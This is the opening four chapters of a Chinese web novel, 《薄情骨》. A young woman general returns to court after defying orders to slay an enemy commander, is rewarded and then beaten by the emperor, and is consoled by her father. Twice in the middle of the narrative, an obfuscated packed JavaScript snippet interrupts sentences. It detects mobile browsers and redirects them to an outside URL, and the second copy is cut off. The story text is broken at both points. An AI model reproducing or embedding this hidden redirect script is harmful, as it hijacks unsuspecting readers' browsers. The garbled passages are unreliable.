《薄情骨》 1. 回京述职【一】 燕,贞和十二年,小满。 三月前,自前线传来捷报。 北边境由凉国统治近二百年的幽、蓟两州终被燕军铁蹄踏平,前来应战的北凉左贤王呼延达旦于最后一战被河北路副都部署一枪挑于马下,穿喉而死。 主帅身死,军心涣散,北凉副将于混乱之中被踢出来充当代表,宣布投降,主动率军退至燕山之外。 这场缠绵了近两年的战役最终以年轻的副官一杆红缨枪终结,举国哗然。 浩荡军队停在汴京城门口,马蹄扬起的尘沙迷了眼,戚姮时隔两年重新回到从小长大的土地,暖阳洒面,惬意怡然。 “有劳信王殿下远迎,臣戚砚,恭请殿下金安。” 戚砚还算恭敬,微微颔首就当行了礼。 就戚姮没什么表示,仰头面向城墙顶上,那站着今日特来迎接的信王赵初,紫罗官服,长身玉立。 她单手勒缰绳,金色战甲披身,反射的光耀人眼。 “侯爷不必如此客气!” 赵初的声音远远传来:“此番大破那北凉契丹,收复我朝疆土,劳苦功高。官家收着前线消息就想着要好好犒赏侯府二位功臣,特命本王前来慰劳三军,众将士可好啊?” 身后军队齐声回答:“好!!” 戚砚笑了声:“那就多谢陛下还这般记挂微臣了。” 戚姮只字未吭,与赵初隔着这般长距离,遥遥相望,空闲的那只手将绑在马鞍上的物件拿下,随意向前扔了一把—— 布包落地后自动解开,一颗人头骨碌碌滚了好几圈,停在前头那片空地的最中央。 正是呼延达旦。 “开城门!!” 从头到尾戚姮的视线没有移开一寸,赵初舒展开的表情落进眼里,喜悦攀上眉梢,清晰可见。 只听他向下吩咐大喊,官帽长翅都随之而颤:“迎将军!庆功臣!定远侯威武!戚将军威武!” “定远侯威武!戚将军威武!!” 恭候凯旋的禁军侧立两边,助威声震天动地。 百姓将整条大街围得水泄不通,老幼相携,仕女云集,嘴里喊着什么“将军”“侯爷”往前使劲挤。前来围挡官兵拦都拦不住,要不是容易被高头大马踩到,恐怕那些个人都要扑上来了。 戚姮饶有趣味向周遭扫了几眼,红披风搭到身后马背上,晃晃悠悠地还挺享受。 一支芍药从不知哪个地方掷来,落进怀里,戚姮一愣,捻起放在眼下细瞧。看着像是刚折的,花瓣依然鲜艳,水珠都还挂在上头。 下一瞬四面八方的花都投过来了。 戚姮:“……!” · 戚姮抱了满怀的芍药蔷薇晃悠到了皇宫门口,才终于从喧闹中安静下来。 她先让人寻来个布袋,一支不落都装了进去,嘱咐人收好带回侯府才翻身下马。 混迹在粉红色之中的白玉兰被戚姮单独摘了出来,揪了一朵戴在鬓边。 忽地听见几串平稳的脚步声自身后而来,戚姮转身看去。一炷香前站在城墙顶上的赵初此刻出现在面前,之间的距离也不过仅有两步远,触手可及。 四目相对,气氛微妙起来。 戚姮没有按照规矩开口请安行礼,反而不动声色观察起了眼前少男。 这身官袍很新,阳光下绸缎隐隐发亮,想也是刚入朝参政并不久。比起两年前随军出征的时候见的最后一面,赵初的的确确是长大了,也长高了。 “姐姐,你还认得我吗?” 赵初突然摘了幞头,恨不得连头发也一起散下。他在戚姮面前仰起脸,略显兴奋:“我是赵献之啊。” 戚姮生得高,而赵初今年不过十七岁,曾经比她矮一大截。两年过去好不容易抽条了不少,哪知戚姮这次回来也高了,两人之间还是差着些个头。 不过,起码赵初不用再跳起来才能与戚姮面对面说话了。 “记得。”戚姮垂首:“从前你日日都跟着我,出去打了两年仗,总不至于把脑子也打傻了。” 赵初这才露出个笑:“刚刚在外面,你看着我跟看陌生人一样,还以为你把我忘了。我变化很大吧?好多人都说我和从前不一样了。” “是挺不一样。” 戚姮注意的点向来跟别人不同,没先去观察他到底哪长变了,只伸手捏向赵初的耳垂:“这耳洞是我给你扎的,如今都长好了,你体质还不错。” 赵初覆上她的手:“是你离开得太久了。” 戚姮抽了回来,扯着嘴笑:“是哦,都两年了,说变也都变了不少。回来一看,城里多种了不少杨柳树,你也封王了。” 赵初扶着袖子伸手指向前路,示意戚姮进宫门。 戚砚在来时遇着了昔日旧识老友,被绊住了脚,非要寒暄一顿才肯罢休。戚姮本是想等他回来了一同面圣,可赵初做了邀请,自然也不好拂了堂堂一个亲王的面子。 赵初领着戚姮向里去,边走边聊:“父皇不知喜雪还是喜絮,你刚随着侯爷离开的第二月他就安排人栽了树,就连御花园的榕树都拔了不少,非要栽杨柳。” “或许都有吧。” 戚姮眼尖,扫到了还未彻底清扫干净的轻絮,落在宫墙角:“絮也是雪。看来我回来得怪不巧,刚好过去了飞絮的月份,就剩这最后一点儿了。” “不就是点树种子。”赵初道,“还不如你鬓边的玉兰。” 戚姮笑了两声:“这三样本也没什么区别。” “什么?”赵初没听懂,“兰花与柳絮区别并不小吧?” 戚姮摇头:“没什么。” 赵初也没继续追问,扯了些别的:“姐姐,你是如何斩杀那契丹左贤王的?” 戚姮随口回答:“就,用手杀的。” 赵初一腔热情扑空,突然不知该接什么话了:“……” 戚姮说了句废话,自己都觉得敷衍,扫了扫鼻尖重新组织语言:“我没听安抚使的指挥,带了九十九个兵闯进去的。” 这样一提赵初就想起来了,监军一同送回来的消息有这条。 燕朝规矩就是这般,行军打仗武将当不了主帅,即便地位如戚砚那般贵为侯爵,照样只能乖乖听朝廷下派的文官调遣。 防武将弄权,从而安排文官掌权,皇帝高坐明堂,谋反叛乱的忧心就能消减不少。 可弊端亦有,甚至并不小。 文官只擅纸上谈兵,百年来做出错误判断而导致兵败撤军的例子不在少数;武将丰富的实战经验无处施展,眼睁睁看着做不了改变,只能被迫屈服于制度之下。 戚姮在最后一战坚决拒绝服从主帅军令,将安抚使视若无睹,违乱军纪,越权违制,按自己的意愿下了行动。 至于为什么只带了九十九人,当然是制度限制,私自遣兵到了百人,还需上报签字才能调出来。 武将本就易受忌惮,每一步都如走在刀尖之上,人人恨不得提起十二分警惕心,生怕行差踏错一步。 戚姮如今主动越权,即便本意是为诛杀敌军主帅,收复失地,忠心盖过了服从心。可就怕落在皇帝眼里成为了挑战皇权的实质证据。 君心难测,谁敢只凭一腔热血去赌忠臣能遇明君。 安抚使下达的军令被如此轻视,只觉被挑战了权威,连同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531450|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子都被踩在脚底践踏。就连想对戚姮使军法,都被已“功臣”之名压了下去。 怒不可遏之下,他提笔亲写一封讨伐信,洋洋洒洒上千字,连同监军的消息一并呈给天子。 皇帝打开一看还以为瞧见厉鬼了,密密麻麻的字从最开始因为怒气写得偏大,到最后写不开转为蝇头小楷。 简单来说,通篇要传达的意思就一个:戚姮目无王法,桀骜难驯,实非良臣。陛下请三思再做决断,以免养虎为患。 水能载舟,亦能覆舟。 拥有这般能力的臣子,却配上了一颗并不服从的心,足以让历朝历代的帝王心惊胆战,夜不能寐。 军中得知消息,惋惜戚姮空有将帅才没有将帅命的将士们欲言又止,此番不止她自己,连带着戚砚都会被连累,荣华不保。于是几方将领三两成堆邀着戚砚一块儿喝酒,暗戳戳用蹩脚的话语安慰着,还给他搞得一头雾水。 幸灾乐祸侯府终于没落,忧虑忠贤只因一时冲动误了前程的几拨人,同在一轮月下,心思各异,皆等着最后判决。 可自从越权事件发生后,皇帝竟没有丝毫反应,就像什么都没发生过,闭口不谈。任由朝堂上群臣反应多么激烈,谏言又奏了几本,始终都无动于衷。 以为从开国传承至今的定远侯府要毁在一个女娃娃手里的人等了许久,愣是没等到官家大怒,下令抄家夺爵。反而有大事化了的趋势。 风向顿时又变了。 当事人戚姮也没有展露过丝毫忧心,该吃吃该喝喝,三个月后,从边境回到汴京。 赵初道:“前线监军将你杀了左贤王、北凉撤军的消息传回来那天,压根没人信。就为这事儿真假,几位言官差点打起来。” “紧接着他们就知道你不服军令。父皇还没说什么,他们却接受不了,齐齐上书参了你与侯爷两个月,近些日子刚消停点。” 戚姮对安抚使告状这事清清楚楚,她早就知道那老头躲在帐里偷偷写信,趁没人在,溜去监军那找出来好好品味了一番才恢复原状放回去。 皇帝都还是第二个才看见的。 就着赵初说的话,戚姮稍加思索就想出来了个来龙去脉,慢悠悠道:“我猜猜……是不是都说左贤王实则死于定远侯之手,只是爹爹要为我将来铺路,继而将功劳归到了我身上。好以有功之身回来讨封。” 赵初眼睛越睁越大,觉得有意思:“就说的这些,都不带变的。” 戚姮耸肩:“言官不都这样。” “你真不怕被问罪吗?” 赵初倒不客气,蹙眉问出了心中疑惑:“说轻点还只是越权,降官罚俸打一顿板子就成了。说重些就上不封顶了。还不是你一人做的决断,就连侯爷也陪着你胡来,如果父皇真的降罪下来……三族直系,恐株连一片啊。” 戚姮出声打断:“侯府三族只剩我们两个了。” “……” 戚姮又补充了句:“要不是那安抚使瞎指挥,我都不知这左贤王这么好杀。” 要不说赵初还是年纪小呢,只长个子没长见识。 戚姮斜眼一撇,见他还一副懵懂模样。伸手揽过赵初的脖颈,哥俩好般俯在他耳边低语:“好弟弟,告诉你一个秘密,你可别哭啊。” 赵初缩着身子,有些受宠若惊:“好。” 戚姮轻咳两声,用气息道:“你父皇杀了你,都不会杀我。” 戚姮能感觉到赵初一下子就僵住了,歪头凑上他脸前,整张小脸煞白,嗫嚅着说不出一个字来。 她接着就哈哈大笑:“你真要哭了?” 戚姮背着手大步向前走,笑声不停。 2. 回京述职【二】 “戚姮听旨。” 随着此言落下,身后自戚姮出现起就噪杂不断窃窃私语的文武大臣瞬间噤声。 戚姮先瞥了一眼身旁戚砚的动作,学着他的样子照葫芦画瓢,跪下拱手准备听旨。 百官议政上早朝的宣政殿,一个王朝的权利中枢,是单次科举三十万考生挤破了头都想踏进一只脚的地方。想进皇宫简单,戚姮拿着令牌就能来去自如,可这富丽堂皇又肃静幽深的宫宇,门槛太高,废了她太大的功夫。 “定远侯戚砚之女戚姮,从军征战,勇略绝伦。临阵亲杀北凉储贰,安社稷,靖四方,冠勇三军,实为忠烈。” “今罢河北路副都部署,册封为定远侯世子,承袭爵位。” “特授枢密副使,兼殿前司都虞候,康安军节度使,幽州刺史。以彰殊荣。” “定远侯……”皇帝想了想,官跟不要钱似的砸了下来,“食邑万户,进万户侯。” “臣戚砚。”“臣戚姮。” “谢主隆恩。” 额头磕在冰凉的玄色板砖,四个官职在戚姮思绪中飞快地溜了一圈。 再站起身,戚姮就不知接下来要做什么要说什么了,挪动几步挨到戚砚身边,缓缓退至他身后。 “这……” 质疑声又起,便秘似的要说不说,不讲还说。 “臣有异议!” 戚姮听见这声,在心里念叨了句“果不其然”。 该来的总要来。可又想不明白,皇帝刚下了圣旨,做了决断,这时候再有异议还指望收回不成? 提出异议的那位两步站出来,俯身行了个礼,恭敬道:“陛下。下官们尚未将‘左贤王究竟为谁所杀’讨论出结果来,怎能这般轻易就如此大动干戈的封赏?” “那呼延达旦是何等的猛将?七年前首次带军出征至今,将周边各国挤压的毫无生存空间,一路向东北攻到了高丽。” “我朝更是派出不少将士驻守边关,勉强守住了国门,却始终不敢懈怠,人人头上悬着把刀。” “先帝驾崩前夕是定远侯最后一次出征北疆,自那后便因病退居家中休养,仅靠威名就能镇压北凉十几载……这样的存在才可能在直面呼延达旦时一招取胜!” “否则那么多能人异士,忠臣良将,凭什么就戚姮一个连名字都没听过的丫头能做到?!” 戚姮顺着声音向后扫去,瞧着他的脸,寻思了半天这是谁,终于从记忆的犄角旮旯里翻了出来。 秦国公,解修竹。 解修竹躬身,语气依旧激昂:“所以,臣以为,呼延达旦根本就是定远侯所杀,只为托举他那独女才将功劳按到了戚姮身上!” “偷天换日,乃欺君之罪!还望陛下明察秋毫,切勿被他们二人玩弄于股掌之间!” 解修竹字字珠玑,铿锵有力,将言官派每个人的顾虑、想法与真正的心声道了出来。 余音绕梁,不绝于耳。 言官职责所在,就是直谏言辞。 主位的皇帝斜靠在龙椅,单手支着下巴,和底下疑似真正杀了北凉左贤王的定远侯本人对视一眼,眼神问他有没有什么想说的。 戚砚按规矩先行了礼,开口就道:“你放屁。” “……” 戚姮都准备好见见戚砚在朝堂上言辞犀利与官对峙公堂的一面了,闻言不由一呆。 在家中他向来二百五,还以为在天子面前能收敛点…… 解修竹懵圈了片刻:“污言秽语,粗鄙不堪。” 戚砚:“听不懂。” “你……” 人没文化则天下无敌,戚砚一幅死猪不怕开水烫的模样。解修竹做不到跟他一样无耻,“你”了半天,竟想不出什么话能比脏话还难听。 戚姮扶额,就知不该对戚砚抱有太大的期望。 她分了神,思索着将四周环视一圈。 前头这排身着暗沉紫色公服,看得眼睛难受。只有一位穿的绯红,站在其中略显突兀,手中朝芴挡着脸,看不清长什么样。 戚姮挪个角度想看全脸,他就随着动作继续挡,一来二去,依旧什么也没看见。 戚姮不合时宜地想:居然有点像新婚夜的夫妻。 成亲当日为显含蓄内敛,德行有方,女子都会拿团扇挡脸,推拒几番欲拒还迎,方才会露出真容。 与他简直一模一样。 这奇葩,上个朝还给他上成花烛夜了。 近三个月来赵繁英就没认真听过文武百官到底在吵什么,把刚刚解修竹的话放进脑子里顺了一遍,不急不缓打断二人的争吵: “朕记得,不是还有折子说戚姮越俎代庖,擅自带队脱离主军大营才换来这一战的胜利吗?” 解修竹立马应:“是。” 赵繁英了然点头:“如卿所言,戚姮是在藐视主帅、私自带队出去后才得来的斩杀呼延达旦的机会。这其中可有定远侯同行的通报一起传来?” 解修竹一愣,下意识向左右看去:“……不知。” “没有。” 轮到戚砚开口了,他平静地:“我没去。安抚使告御状里没写,监军送回的消息也没写,无论你们随便挑军中任何一人去问,都没有这档子事。” 赵繁英道:“河北路安抚使。” 一老者站了出来,躬身回:“臣在。” 赵繁英问:“定远侯所言是否属实啊?” “回陛下,是真。” 说罢,安抚使还补充道:“不过,是因为侯爷需要拖住下官,留给世子备人的时间。所以拽着臣假借商讨军务为由困在了营帐中,这才让他们得逞。” 戚砚闻言更嚣张了:“定远侯府世世代代打了一辈子的仗,还从来没有人质疑过我家里头的人不能打。怎么我那时没人质疑是我爹把他的功劳安在了我头上?你们连见都没见过,上下嘴皮子一碰就说我闺女的功绩是假的。” “本侯今日真是开了眼了。早知言官找找茬就能加官进爵,那我还打什么仗啊,出生入死这么多年回来,还要被编排。干脆拾笔写文章,与你做同僚去吧!” “你不必这样呛我。”解修竹一甩袖子,冷声道,“这事的重点本就不在是否李代桃僵之上,只不过是为了彻底闹清楚,好进一步解决。” “如若呼延达旦真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“届时,河北百姓率先会被卷入战争中。消息传回京城,足以让你们、让其他地方的百姓惶恐不安,生怕一觉醒来国灭山河破,敌军铁蹄践踏到家门口,人人自危。” 戚姮顿了顿,用在场之人全都能听到的音量,说着最客观的理:“十三年前,我爹在北疆的最后一战大获全胜,镇的凉国不敢贸然来犯。” “北凉此次出兵时隔太多年,必然筹谋已久,是预备着要将燕军、燕朝彻底击垮而来。呼延达旦妄想复刻我爹曾经的路,指望着靠威名震慑我朝文武百官,黎民百姓,以稳固他的地位。” “人,不怕身跪,就怕心跪。一个国家可以败,但绝不可以从根源就像走兽那般能被驯服。” “呼延达旦其心可谓歹毒,他做着要让大燕子民一听见北凉就瑟瑟发抖,让孩童打出生起就知家国以外有座跨不过去的大山的春秋大梦。代代下去,口口相传,终会被磨没了骨气。” 戚姮一字一句:“所以呼延达旦必须死。别说大逆不道,就是身败名裂,惹得天下人猜忌我包藏祸心,重来一遍我照样会率军追击。” 3. 回京述职【三】 赵繁英换了个姿势坐着,单手撑在唇边,颇有些微妙地轻歪了下脑袋。 解修竹表情凝重了几分,站直了身子,凝望着戚姮的眼睛。 戚姮问心无愧,大大方方任由解修竹看,无声的较量在空气中蔓延,火花四溅。 纵观全局。 戚姮站得靠前,转身面向解修竹,她的身侧仅有遥遥之外龙椅上的赵繁英,和孤零零的一个戚砚。 解修竹身后有文武百官。 解修竹心平气和地:“国有国法,家有家规。且先不论你的真实目的究竟如何,就论这般偏激的行径,你就犯了大过错,不罚难以警戒他人。” “日后人人都像你这样,为了建功立业不择手段,不乱套了?” 戚姮说:“国公爷何必对我偏见这么大,你说我为建功立业不择手段,我可伤到一个无辜的人了?我可将大燕拽到万劫不复之地了?” “我只把我自己搭了进去,冒着大不韪之罪守住了北边境,可以说是我一人受难,换千万人平安。” 解修竹反驳:“我何时对你有偏见了。” 戚姮笑道:“在你质疑呼延达旦非我所杀时偏见就不小。” 紧接着,连气都没换,戚姮环视一圈,冲着众人说:“当时的情形在场各位没几位大人清楚,但我可以负责任地说,良机并非回回都有,尤其战场,一旦错过必输无疑。” “古话还讲‘情有可原’,昔日汉武帝刘彻北击匈奴,功在千秋,弊在当时。” “我不强求各位大人要从后代万世的眼光上来看我今日所做所为,只不想落个‘强出风头’之名,着实不符我的本意。” “我的本意,也仅仅只是斩敌将,守边关,安天下。”戚姮又是一礼,“劳请不要理解错了。” 解修竹卡壳了半晌,张了张嘴,又默默合上了。 戚姮的话落,绕在耳边,颤在心间。 无人能接。 本就怨气极大的安抚使眼看这事要避重就轻地不了了事,向左右看了看,没理也要硬掰出三分理,焦急道: “下官承认,戚姮确实是将帅之才,有家国大义。可她有罪,赏罚应当分明,功过相抵也是回事。但,居然只赏不罚,还要给她封到中央去??” “望圣上重新斟酌,再作定夺!” “我戚姮自知做得不对,半分没为自己辩解,连给官家寄一封解释信都没有,任凭发落。” 戚姮转了回来,朝向赵繁英:“班师回朝的行程足足要走三个月,陛下有大把的时间能想明白,这不可能是一时冲动才做的决定。” “圣上宅心仁厚,知人善任,最晓戚姮并没有一丝违意,都是为了大燕江山。故而觉得臣没罪,诸位莫非有不同的见解?” “可是陛……” 再聊下去恐怕今天就真的无法收场了,赵繁英随意摆手:“今天就到这里吧,戚姮封赏这事以后不用再提了,保持不变。” 身边的总管太监扯着嗓子招呼下朝,再有千言万语也只能堵了回去。 “谢陛下——” 戚姮慌忙谢恩。 “可以啊,闺女。”戚砚伸出手肘捣了捣戚姮,“第一天上朝就创佳绩,把姓解的都堵回去了。” 戚姮捂着跳的飞快的心脏,只摸到一身盔甲的冰凉:“上朝……也一点不比战场轻松啊。” 戚砚笑了声:“吓着了?” “吓着倒还好,就是稍微有点紧张。”戚姮伸手比划,“一点点。” 戚砚揽着戚姮向外,随着众人离开:“第一天上朝就被这么指着骂难免紧张,习惯就好了。” 戚姮点头,觉着有道理。 “侯爷,世子。”皇帝身边的内侍却突然叫住了他们二人,来到面前恭恭敬敬地说,“陛下有请,世子跟奴才走吧。” “诶,”戚姮一愣,“就只有我一个?” 内侍点头:“是。” 戚砚嘴唇不动,话从嘴角挤了出来:“毕竟我没犯事,最多算个从犯,他当堂没罚这事儿就过去了。你不一样……好好听着,别顶嘴。” “……”戚姮好想问能不能选择不去。 “有劳公公了。” 当然,不能抗旨。 此番是来问罪的,她心里门清,内侍将戚姮带到了御书房便缓缓退了出去。 屋内并不见赵繁英人影,戚姮没去过前朝,书房可是来了不少回。现在也没多少心情多打量这地儿,当即卸了一身铁甲扔到旁边,只剩红色长衣,规规矩矩跪在地上。 直挺挺从日头高挂跪到日落西山,戚姮连腰都不曾弯一下,宫人进来点了灯,她才转动几下眼珠。 “这才两年过去,你的心性倒是定了不少。我都没想到你第一天来就敢当堂对峙朝廷老臣。” 赵繁英从后徐徐而来,路过戚姮歪头细瞧,顿了一下:“真是跟你娘越长越像了。” “是吗。臣都不知道。” 赵繁英并未理会戚姮话中的疏离,自顾自走到一边。 他年纪并不大,三十多岁,常年处在这深宫之中,不经风沙更显年轻。戚姮抬脸直视着赵繁英,两年过去,没什么变化。 “看来你也清楚我为什么叫你过来。”赵繁英道,“说说吧,怎么想的。想好再说。” 戚姮深吸一口气,立刻将赵繁英的提醒置之脑后,毫无顾忌道:“那安抚使根本不会打仗,要不是他的指挥我们早打赢了。我就是不想听他的了,没什么隐情。” 赵繁英没坐椅子,反而撑着手,靠在桌沿,居高临下俯视着戚姮:“安抚使要是会打仗,他还能只是个文官?” “……” “你这么大年纪了,我不想再像训小孩子那样训你。但是阿姮,这件事算来就是你的冒失,军中等级规矩远比朝堂上还要森严,越权违制是大忌,尤其是武将的大忌。” “将军都不能听令于主帅指挥,你该如何以身作则,保证别人都听你的?失了威严,将来都不好在军中立足。” 御书房里回荡着赵繁英的一字一句,平稳,不急不躁,更听不出什么责怪的意思。 戚姮望着他,原以为要被骂了,这么心平气和地讲道理竟还有些不知所措。 “这些我都知道,舅舅。”她的态度也缓和下来,“但是来不及了。” “这仗打了两年,我做了太多部署,好不容易把呼延达旦围到我的攻击范围,那安抚使居然以时机不对为由,要我撤兵,放弃。” “我做不到。”戚姮摇头,“他真的不会打仗,认不清形势。只会躲,跑,守着一亩三分地,再没有作为。我不是这样的。” 烛火“噼啪”,炸出细微的响。 已经不早了。 赵繁英探了一眼窗外,才叹息一声,蹲在了戚姮面前。 “前线打仗,累不累。” 戚姮闷闷地应了声:“自然是不如在家里舒坦。” 赵繁英问:“那你还想做官,以后再去打仗吗?” “不好说。”戚姮认真想完,才道,“边疆永远太平,我可以不做这个官,以后再无打仗的机会。如果动荡一日不平,我就不会离开前线一步。” 赵繁英道:“别的不太拿得准,但你要还是这般行径,估计用不了多久就上不了战场了。” 戚姮缓缓睁大双眼,难以置信:“您要罢免我?” “不是我 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戚姮生的五官立体,眉眼深邃,鼻梁高挺。烛光从侧脸洒下,勾勒出模糊轮廓,已经褪去小姑娘的稚嫩,渐显成熟凌厉。 赵繁英待她说完才开口:“你爹早跟我说了,你还打算继续留在那打,是他把你硬带回来的。” “你别老这么做,我也很难的,也要多少顾忌些众大臣的脸色。保你一次可行,次数多了我也没法交代。” “论赏,我给了。论官,我已经给你家封到顶了。他们那群老头喊了三个月要我罚你去流放,我也都当没听见回绝掉了。” “定远侯府现在要什么有什么,风光无限,谁不羡慕?你去向前看,哪个皇帝敢把权力这么舍得的分到一家两口人身上。” 戚姮语速极快又随意地:“谢陛下。” 赵繁英笑了声,无可奈何:“我就让你老老实实听点话,别人做什么你做什么,别那么出格,有这么难吗?” 戚姮:“我做不到冷眼旁观。” 赵繁英:“可这样你会过的很痛苦。” 戚姮完全不顾:“无所谓。” 屋内气氛一时间凝固住了,僵持不下。 戚姮丝毫不惧,直视赵繁英的眼睛,大有一副“不然你就把我杀了”的意思。 看着这张脸,还是这般固执的模样,赵繁英瞧出了熟悉的影子,未曾改变。 他片刻怔愣后,垂下眼睑,敛去眸中情绪。 赵繁英起身向后去,摸到东西,握进掌心:“先把眼前这顿痛挨了,再有没有所谓。” 足有一尺长的戒尺横在眼前,戚姮震惊不已地望向赵繁英,“你要打我”停在唇边,触及他眼底的不近人情,悉数咽下。 “伸手。” 戚姮带着不甘,摊开了手掌。 殿中清脆的打声此起彼伏,戒尺的影闪到脸前,掌心的痛并没有随着越打越狠而麻木,抽过的地方反而会叠加如千针扎过的刺痛。 “啪嗒”一声,戒尺拦腰截断成两截,前端被甩飞砸到别处,弹到地面。 双手已经没有一处正常的颜色,打破皮的手渗出了淤血,模糊了掌心,尖锐的灼烧感怎么也忽略不掉,更是肿的不成样子。 “回去吧,今日是你生辰。”赵繁英道,“十九了,真快啊。” “陛下,您别忘了,我才十六。”戚姮纠正道,颤巍巍收回了双手,尽管她尽力控制了依旧抖的不成样子,“微臣告退。” 这一声带了不少怨气,说的也随意,话里带着臣子,心里估计不服气着。 赵繁英摆了摆手,不想追究。 4. 君臣之道【一】 每走一步都传来刺痛的膝盖难以忍受,火辣辣的掌心挨着什么东西就疼,连扶下栏杆都做不到。 戚姮后槽牙都快要咬碎了,从御书房出来的一路几乎是硬撑着走完,才勉强没有扑通跪下去。 相比身体上的折磨,心火才是真正要命,烧到颅内险些吞没理智,恨不得掉头再去找赵繁英对峙一番。 还好是忍住了。 戚姮在回来的路上反复深呼吸,默念了许多遍清心咒才压了下去,恢复平静。 踏进侯府,看清不能再熟悉的一砖一瓦,一树一草,这是她从小长大真正能称为家的地方。 飘忽两年未能安定的心终于找到了个落脚点,稳稳当当扎下根,恍如隔世。 戚姮本想直接回寝居什么都不管睡上一觉,转头想起那不靠谱的老爹刚回来,肯定喝了酒。一下午过去还不知醉成什么样,又有些放心不下。 她怕戚砚没有好好歇息,这天虽不冷了,但在外头冻上一夜也难免会着凉。 拖着腿,一瘸一拐又要去瞧他。 门一推就开,戚姮伸个脑袋进去探,先被扑面而来冲天的酒气给熏得咳嗽好几声。 黑黢黢的屋内祥和宁静,戚姮耳力眼力都极好,站在门口就能听到戚砚规律的呼吸声,心想是真醉倒了。 待走近后,借着窗边月光才看清了这屋内一隅。只见戚砚盘腿而坐,趴在桌上睡着了,身侧酒瓶东倒西歪。 戚姮大概清点了一番,足有十二个。 “喝这么多……” 一向谨慎的人都没听见戚姮开门的动静,可见喝的有多醉。 瞟到戚砚是抱着东西睡的,戚姮都不用想便猜到了,堵在心头的郁气更甚几分。 戚姮闭眼调整好情绪,俯身,用手背推了他两下:“爹,困了回去再睡。” 戚砚瞬间就睁开了眼,视线空洞,面无表情。 他这一觉睡了两个时辰,睡前醉的再狠睡醒也消了大半。现在反倒看着与常人无异甚至于有些陌生。 戚砚先歪头确认被自己抱在怀中的牌位还在,指尖轻抚过上头金色的几个大字:先妣侯母明氏夫人蝶香之神主。 贴着这冰冷的木头睡了一下午,也都把它暖热了。 戚砚这才将视线移到身边站着的女儿脸上,戚姮清晰看见他的恍惚夹带着震惊,从眼底一闪而过。 与记忆中那个人肖似八分的面容在这里,一闭一睁,眼前倏地出现晃影。 戚砚嘴唇微动,颊边眼泪滑落一滴泪,幻影便没了,五官重合,眼前还是只有戚姮。 意识猛然回笼,戚砚手忙脚乱埋头找起了喝剩一半的酒瓶。掩饰不住的局促被戚姮尽收眼里,他还要装作若无其事地岔开话题:“呀,回来了。” “嗯。” 戚姮坐到了他身边,一天下来早已精疲力尽,语气中尽是虚脱无力:“又喝这么多。上年纪了就得注意身体,不能再跟之前那样瞎折腾了。” “你爹我,今年满打满算才三十四。还不老呢,早着呢。”戚砚搭手在戚姮的肩上,摘了戚姮鬓边已经枯萎泛黄的兰花,搁到桌上。扭头看向窗外,月还是故乡明。 他难得吐出一句有涵养的话:“良夜恹恹,不醉如何。” “况且,今日是你的生辰。”戚砚双手抚上戚姮的脸颊,揉来揉去,“我姑娘都成大姑娘了,封侯拜相,有出息。爹高兴。” 戚姮绷了半下午的神经这会儿才终于放松,浅浅笑了一下,也没应声。 戚砚只扫了一眼就隐隐觉出不对劲,问:“怎么了,不高兴?是赵繁英骂你了还是什么……?” 戚姮好不容易压下去的委屈随着这句而翻涌,将手掌摊开在戚砚面前,鼻尖一酸:“他打我了。” 戚砚一愣,反应过来就想要握住戚姮的手查看伤势,刚挨到,她叫唤着躲开,尾音沾染的哭腔听的他差点跪了。 戚砚瞬间缩回手,低骂了赵繁英一句。 “不碰了不碰了。”戚砚酒都彻底醒了,“让爹看看。” 戚姮这才敢伸去。 可以说得上一个皮开肉绽的惨样,渗出的血早已干涸发黑,连结成块粘在掌心,连手指都伸不直。 戚砚看的心惊肉跳,额角疯狂抽搐。 “骂两句不就行了,他还真打啊!”戚砚目眦欲裂,“有什么话不能好好说。” 戚姮垂着脑袋,眼泪扑簌簌往下掉,静悄悄地听不见一点动静。 “不哭了,哎呦。”戚砚见她这副乖模样对赵繁英的怒火更甚了,无处发作,只能先抹掉挂在戚姮脸上的泪,眸中心疼溢出。 越哄戚姮越难受,根本止不住:“之前舅舅说我做什么都行,现在又是他说不行。” “我不知道该不该信他的话了。”戚姮喃喃自语,“我是有错,可也是舅舅对我承诺在先我才敢那么做,怎么如今,搞得好像全是我一个人的错。” 戚砚伸手搂住了她,抱在怀里,不知该说戚姮年纪小天真,还是太把曾经的情义当回事。两者无论单拎出哪个来看都不是什么好事。 几番欲言又止,戚砚还是赖了自己没有跟她好好强调过君臣关系。 “赵繁英当了十二年皇帝,就算是一起发家过命的交情也都消解的差不多了。从前你小,逗逗你说的话罢了。现在发现你不是那等规矩的臣子,他自然要转过头来防备着啊。” 戚姮就着戚砚胸膛前的布料擦干净泪:“明明出征前他都还好好的。” “那是能装。”戚砚冷笑一声,“赵繁英惯会装。你要只是个小丫头,他能一直装对你好。可你是要承袭爵位的,手里有权力,脑子里有想法,他还能把你当一个单纯小丫头吗。” “……” 戚砚轻抚戚姮的脑袋,换了个姿势让她倚靠的更舒适些,继续说:“武将不怕打不赢仗,只怕功高震主。不是死在战场,就是死在朝堂,谁都逃不掉。” “君臣关系是眼前隔层纱,心前隔层山,你永远别想跟皇帝谈感情。好在赵繁英还有点良心,没追究,也没把猜忌放到你身上。” “可是舅舅从前对我真的很好,他从来不在我面前摆皇帝架子,这次也没有降罪。”戚姮有些磕巴,“那些好也是假的吗?我……他……” “也不能这么说。”戚砚道,“你的命,你娘的命,全都是他倾力保下的,至少那个时候他的想法很纯粹,好也是真的好。” “就是现在,对侯府已经很宽容了,什么都有。怎么说他也是你舅舅,不可能一点都不疼你。” 戚砚的脸贴着她的发顶,轻声说:“但旧情这种东西,只能存在回忆里。提多了,只惹人烦。” 胸前的衣衫都湿透了,他也管不住戚姮的眼泪,耐心的用拇指替她拭去一次又一次。 